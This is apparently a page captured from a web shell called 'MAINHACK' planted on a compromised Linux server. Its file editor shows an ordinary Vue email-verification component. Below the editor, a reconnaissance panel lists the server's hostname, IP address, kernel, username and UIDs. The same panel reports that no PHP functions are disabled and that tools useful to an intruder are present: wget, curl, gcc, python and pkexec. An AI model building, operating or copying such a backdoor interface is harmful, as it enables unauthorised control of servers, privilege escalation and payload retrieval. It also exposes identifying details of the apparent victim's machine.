[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: VerifyEmailComponent.vue
<template> <LoadingComponent :props="loading"/> <section class="pt-8 pb-16"> <div class="container max-w-[360px] py-6 p-4 sm:px-6 shadow-xs rounded-2xl bg-white"> <h2 class="capitalize mb-6 text-center text-[22px] font-semibold leading-[34px] text-heading"> {{ $t('label.verify_email') }}</h2> <form @submit.prevent="verifyCode"> <label class="text-sm mb-1 first-letter:uppercase text-heading">{{ $t('message.enter_the_code_sent_to') }} <span class="font-medium">{{ resetInfo.email }}</span></label> <input :class="errors.code ? 'invalid' : ''" v-model="form.code" type="number" class="w-full h-12 rounded-lg border px-4 border-[#D9DBE9]"> <small class="db-field-alert" v-if="errors.code">{{ errors.code[0] }}</small> <br> <button @click.prevent="resendCode" type="button" class="capitalize mb-6 mt-2 text-xs font-medium transition text-primary hover:underline"> {{ $t('button.resend_code') }} </button> <button type="submit" class="w-full h-12 text-center capitalize font-medium rounded-3xl text-white bg-primary"> {{ $t('button.continue') }} </button> </form> </div> </section> </template> <script> import alertService from "../../../services/alertService"; import LoadingComponent from "../components/LoadingComponent"; export default { name: "VerifyEmailComponent", components: {LoadingComponent}, data() { return { loading: { isActive: false, }, form: { email: null, code: null }, errors: {} } }, computed: { resetInfo: function () { return this.$store.getters.resetInfo; } }, mounted() { this.emailChecking(); }, methods: { emailChecking: function () { if (this.$store.getters.resetInfo.email) { this.form.email = this.$store.getters.resetInfo.email; } else { this.$router.push({name: 'auth.forgetPassword'}); } }, resendCode: function () { try { this.loading.isActive = true; this.$store.dispatch('forgetPassword', this.form).then((res) => { this.loading.isActive = false; alertService.success(res.data.message, 'bottom-center'); }).catch((err) => { this.loading.isActive = false; this.errors = err.response.data.errors; }) } catch (err) { this.loading.isActive = false; alertService.error(err.response.data.message); } }, verifyCode: function () { try { this.loading.isActive = true; this.$store.dispatch('verifyCode', this.form).then((res) => { this.loading.isActive = false; alertService.success(res.data.message, 'bottom-center'); this.$router.push({name: 'auth.resetPassword'}); }).catch((err) => { this.loading.isActive = false; this.errors = err.response.data.errors; }) } catch (err) { this.loading.isActive = false; alertService.error(err.response.data.message); } } } } </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.48 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002